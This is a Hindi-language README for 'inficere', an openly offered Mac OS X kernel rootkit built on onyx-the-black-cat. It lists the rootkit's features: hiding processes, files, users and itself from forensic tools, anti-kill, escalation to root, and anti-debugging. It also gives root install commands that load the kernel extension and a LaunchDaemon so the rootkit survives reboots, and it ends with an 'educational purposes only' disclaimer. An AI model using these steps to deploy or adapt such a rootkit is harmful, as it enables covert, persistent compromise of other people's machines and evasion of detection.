inficere

मेरा Mac OS X रूटकिट का सार्वजनिक संस्करण जो fractalG के onyx-the-black-cat (https://github.com/gdbinit/onyx-the-black-cat) के ऊपर बनाया गया है

केवल Mountain Lion, 10.8.2 से 10.8.5 पर परीक्षण किया गया। अन्य संस्करणों पर काम करने की गारंटी नहीं है।

विशेषताएँ

• प्रक्रिया छिपाना - 'ps PID', 'ps aux', Activity Monitor, top आदि से छिपाता है
• फ़ाइल/निर्देशिका छिपाना
• उपयोगकर्ता छिपाना - किसी निर्दिष्ट उपयोगकर्ता को 'who', 'w' से छिपाता है
• आत्म-छिपाना - मॉड्यूल को kextstat और volatility से छिपाता है
• anti-kill
• PID से UID 0
• एंटी-डीबग चालें (ज्यादातर @osxreverser द्वारा) - anti-anti-ptrace, patch task_for_pid(0), आदि

निर्देश

1. # chmod -R 755 inficere.kext
2. # chown -R root:wheel inficere.kext
3. # mv inficere.kext /System/Library/Extensions/
4. # kextutil /System/Library/Extensions/inficere.kext
5. # ./control

बूट स्थिरता के लिए:

1. # plutil -convert binary1 com.enzo.inficere.plist
2. # mv com.enzo.inficere.plist /Library/LaunchDaemons/com.enzo.inficere.plist
3. # chown root:wheel /Library/LaunchDaemons/com.enzo.inficere.plist
4. # launchctl load -w /Library/LaunchDaemons/com.enzo.inficere.plist

लोड होने के बाद Inficere उपरोक्त फ़ाइलों को छिपा देगा।

मैं इस बात पर जोर देना चाहूंगा कि मैंने इसे केवल शैक्षिक उद्देश्यों के लिए बनाया है।